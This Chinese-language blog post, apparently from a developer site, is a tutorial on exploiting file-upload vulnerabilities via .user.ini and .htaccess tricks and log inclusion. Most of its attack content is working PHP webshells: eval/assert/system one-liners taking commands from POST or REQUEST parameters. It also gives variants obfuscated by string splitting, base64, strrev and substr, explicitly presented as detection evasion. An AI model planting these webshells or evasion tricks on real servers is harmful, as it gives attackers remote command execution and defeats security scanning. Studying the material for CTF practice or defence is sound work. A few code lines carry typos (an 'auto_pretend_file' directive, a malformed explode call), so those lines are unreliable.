【web漏洞】文件上传

本文详细介绍了文件上传漏洞的原理和利用方式,包括user.ini配置文件、.htaccess文件如何导致的安全问题。讲解了如何通过设置auto_append_file和auto_prepend_file进行文件包含,并展示了多种绕过过滤的技巧,如使用php伪协议、编码、拆分拼接等方法。同时,提到了日志包含、assert函数等在绕过中的应用,以及如何通过免杀技术逃避检测。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

知识点

  • 文件上传是指提交一个文件上传至服务器。在这个页面中可能有各种表单和submit按钮,最终的效果就是一个文件被上传至了服务器端。

user.ini配置文件可控导致的文件上传漏洞

  • 当前目录里面有php文件的时候,可以运用ini配置文件进行配置这个php文件
  • 文件包含配置项有auto_append_file和auto_pretend_file
auto_append_file=1.txt   //保存为user.ini,记得抓包时文件名是.user.ini

1.先上传这个user.ini文件,发现上传成功。

2.然后本来不能上传规定外的文件,现在就可以上传了

3.这个1.txt里面就是一句话木马

<?php @eval($_POST[1]);?>

4.这个1.txt木马就被自动包含进原来目录里的php文件了(一般是index.php)

  • 如果会过滤,那就想办法绕过,先一个一个试过滤的是什么东西,然后针对这个来绕过

session文件导致的文件上传漏洞

.htaccess文件导致的文件上传漏洞

什么是htaccess文件

简介

.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

.htaccess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。

Eg:.htaccess 中有 # 单行注释符, 且支持 \拼接上下两行。(注意后面这个东西很重要)

在绕过文件上传的限制中,在Apache全局配置文件中httpd.conf有这样一条配置

AddType application/x-httpd-php .php .phtml .php5 .pht .phps

这里配置的意思就是将以.php .phtml .php5 .pht .phps为后缀的文件按php文件进行解析。

AddType application/x-httpd-php (.jpg)
 //将所有文件按照php文件进行解析(将jpg文件按照php文件进行解析)

上传一个.htaccess文件
内容如下

<FilesMatch "a.png">
SetHandler application/x-httpd-php

然后就可以上传image/png
服务器会按php文件进行解析

绕过方法

日志包含

<?=include"/var/lo"."g/nginx/access.lo"."g"?>
<?php system('nl ../f*')?>  //日志包含绕过

php伪协议

assert函数

和eval函数是一样的功能,而且支持可变函数变成assert函数
可变函数就是

<?php
$a="assert";
$a($_POST[1]);
//assert($_POST[1]);
?>

拆分拼接:

<?php
$arr=explode(","   "a,s,d,f,s,d,e,k,r,t");//把字符串打散为数组,以,为分割
$paylode=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//拼接成字符串
$paylode($_POST[1]);
//assert($_POST[1]);
?>

编码

<?php
$a=base64_decode("YXNzZXJ0");
$a($_POST[1]);
?>

php标签

<script language="php"> eval($_POST[1]) </script>
<? /*程序操作*/ ?>
<?
    echo '1111';
?>//前提是开启配置参数short_open_tags=on


<?=/*函数*/?>
<?=$a?>
<?=(表达式)?>
就相当于
<?php echo $a?>
<?php echo (表达式)?>

<% /*程序操作*/ %>
<%
    echo '1111';  
%>

其他绕过或者免杀

<?= eval(array_pop($_REQUEST))?>  //绕过{} [] ; php ()
<?php
$_REQUEST[X]($_REQUEST[Y]);
//传入X=assert$Y=1
?>
<?= assert(array_pop($_REQUEST))?>  //绕过{} [] ; php ()
//直接提交请求就可,任何参数都能提交

免杀:

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php 
    $poc="s#y#s#t#e#m"; 
    $poc_1=explode("#",$poc); 
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_REQUEST['1']);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值